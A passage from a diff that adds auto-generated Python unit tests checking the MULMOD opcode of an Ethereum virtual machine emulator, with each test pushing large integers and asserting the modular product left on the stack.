+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285297167L])
+
+    def test_MULMOD_358(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285293071L])
+
+    def test_MULMOD_359(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285288975L])
+
+    def test_MULMOD_360(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593279962562040595057241384003804669014279280957259791L])
+
+    def test_MULMOD_361(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_362(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_363(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_364(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_365(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_366(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_367(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_368(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_369(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_370(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285293567L])
+
+    def test_MULMOD_371(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_372(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_373(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285297167L])
+
+    def test_MULMOD_374(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_375(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_376(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_377(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_378(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_379(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285285871L])
+
+    def test_MULMOD_380(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_381(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_382(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285293071L])
+
+    def test_MULMOD_383(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_384(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_385(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1024L])
+
+    def test_MULMOD_386(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_387(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_388(self):
+            #Make the constraint store
